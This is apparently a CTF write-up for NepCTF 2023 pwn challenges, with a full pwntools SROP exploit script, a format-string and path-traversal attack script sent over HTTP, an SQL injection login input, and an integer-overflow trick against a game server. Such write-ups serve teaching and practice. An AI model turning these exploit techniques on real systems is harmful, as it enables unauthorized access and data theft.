2023 NepCTF pwn

srop

grxer@Ubuntu22 ~/s/m/n/srop> checksec pwn
[*] '/mnt/hgfs/share/match/nepctf/srop/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
grxer@Ubuntu22 ~/s/m/n/srop> seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

签到题,srop或者ret2csu都能打

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('nepctf.1cepeak.cn',30523)
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# db('0x04007AD')
buffer=elf.bss()
# 0x0000000000400813 : pop rdi ; ret
pop_rdi=0x0000000000400813
syscall=elf.sym['syscall']
padding=b'b'*0x38
readpaylaod = SigreturnFrame()
readpaylaod.rdi=0
readpaylaod.rsi=0
readpaylaod.rdx=buffer
readpaylaod.rcx=0x1000
readpaylaod.rip=syscall
readpaylaod.rsp =buffer+8

ropopen=SigreturnFrame()
ropopen.rdi=2
ropopen.rsi=buffer
ropopen.rip=syscall
ropopen.rsp =buffer+8+len(bytes(readpaylaod))+0x18

ropread=SigreturnFrame()
ropread.rdi=0
ropread.rsi=3
ropread.rdx=buffer+0x100
ropread.rcx=0x50
ropread.rip=syscall
ropread.rsp = buffer+8+len(bytes(readpaylaod))*2+0x18*2

ropwrite=SigreturnFrame()
ropwrite.rdi=1
ropwrite.rsi=1
ropwrite.rdx=buffer+0x100
ropwrite.rcx=0x50
ropwrite.rip=syscall
ropwrite.rsp =buffer+8+len(bytes(readpaylaod))*3+0x18*3

payload=flat(
padding,
pop_rdi,
0xf,
syscall,
bytes(readpaylaod)
)
sa(b'welcome to NepCTF2023!',payload)
paylaod=flat(
b'./flag'.ljust(8,b'\x00'),
pop_rdi,
0xf,
syscall,
bytes(ropopen),
pop_rdi,
0xf,
syscall,
bytes(ropread),
pop_rdi,
0xf,
syscall,
bytes(ropwrite),
)
s(paylaod)
io.interactive()

image-20230817135721077

login

访问网站,随便登录进去,看一下网页源码

function listFiles() {
$.get("/list_files/", function(data){
$("#file-list").html(data);
});
}

function viewFile(filename) {
window.location = '/view_file/' + filename;
}

尝试/list_files/拼接/后可以下载得到文件,下载login分析

image-20230818175023327

flag读到了堆上

这里a3是url上地址,a4是请求方式

image-20230818170424353

查看dockerfile后发现需要搭建环境还需要一些库文件

COPY ./libmicrohttpd.so.12 /home/ctf/lib/x86_64-linux-gnu/
COPY ./ld-linux-x86-64.so.2 /home/ctf/lib64

利用/view_file/拼接绝对路径下载下来

/view_file//lib/x86_64-linux-gnu/libmicrohttpd.so.12
/view_file//lib64/ld-linux-x86-64.so.2

image-20230818175743836

docker搭建起来环境后,调试

grxer@Ubuntu22 ~/s/m/n/login> ps -ef | grep 'login'
root 52101 52067 91 16:16 ? 01:38:10 ./login
sudo gdb attach 52101

登录时dest可控,sprintf有格式化字符串漏洞,后面会输出名字,直接断点断到sprint泄露堆地址,找到flag地址,利用%s写入到v49即可

image-20230818193423236

import requests
from pwn import *
import re
url = "http://192.168.70.134:32774/login"
headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36 Edg/100.0.1185.29"}
params = {'user': '%15059$p'}
response = requests.get(url=url,headers=headers, params=params)
heapad = int(re.findall(r'0x([0-9a-fA-F]+)', response.text)[0],16)
print(hex(heapad))
flagad=heapad-0x40

params = {'user': b'%36$saaa'+p64(flagad)}
response= requests.get(url=url, headers=headers,params=params)
print(response.text)

image-20230818194536343

HRP-CHAT

one

就根据open flag文件得字符串来定位漏洞

image-20230819001326863

第一个漏洞是在服务端Shop查询时,当用户存在且是root权限时会打开flag并发送给我们客户端,明显的sql注入 –注释掉后面的sql语句即可

if ( !strcmp(v51, "999") )
{
sprintf(s, "select * from user where Username='%s' and Statement ='root'", v39 + 856);
printf("\n\n%s\n", s);
v21 = 0;
v22 = 0;
rc = sqlite3_get_table(db, s, v36, &v21, &v22, 0LL);
if ( v21 <= 0 )
{
v54[0] = '\xE4\x85\xBB\xE4galf';
v54[1] = '\x94\xE7toor\x9B\xBE';
LODWORD(v55) = -1215764824;
BYTE4(v55) = 0;
send(*((_QWORD *)v39 + 2), buf, 0x630uLL, 0);
pthread_mutex_unlock(&phead);
}
else
{
stream = fopen("/home/ctf/Nep_CTF_FLAG_ONE", "r");
Login
12
jk
Login
12'--
jk
Shop
999

image-20230819003924199

three

start战斗时只要v33<=0即可,dword_55F4474AADD8是int类型且为99999999加上H3h3QAQ的技能伤害就可以溢出为负数,刚开始没有H3h3QAQ卡牌,可以通过抽卡获得

if ( !strcmp(*(const char **)&v39[8 * v31 + 48], (const char *)&cNode[20 * m])
&& v32 <= 1
&& v31 >= 0
&& v31 <= *((_QWORD *)v39 + 106) )
{
v33 = dword_55F4474AADD8 + cNode[20 * m + 16 + (int)v32];
printf("Hurt:%d\n", v33);
if ( (int)v33 <= 0 )
{
v46 = fopen("/home/ctf/Nep_CTF_FLAG_THREE", "r");
if ( !v46 )
{
puts("Could not open flag file.");
exit(1);
}

image-20230819151208900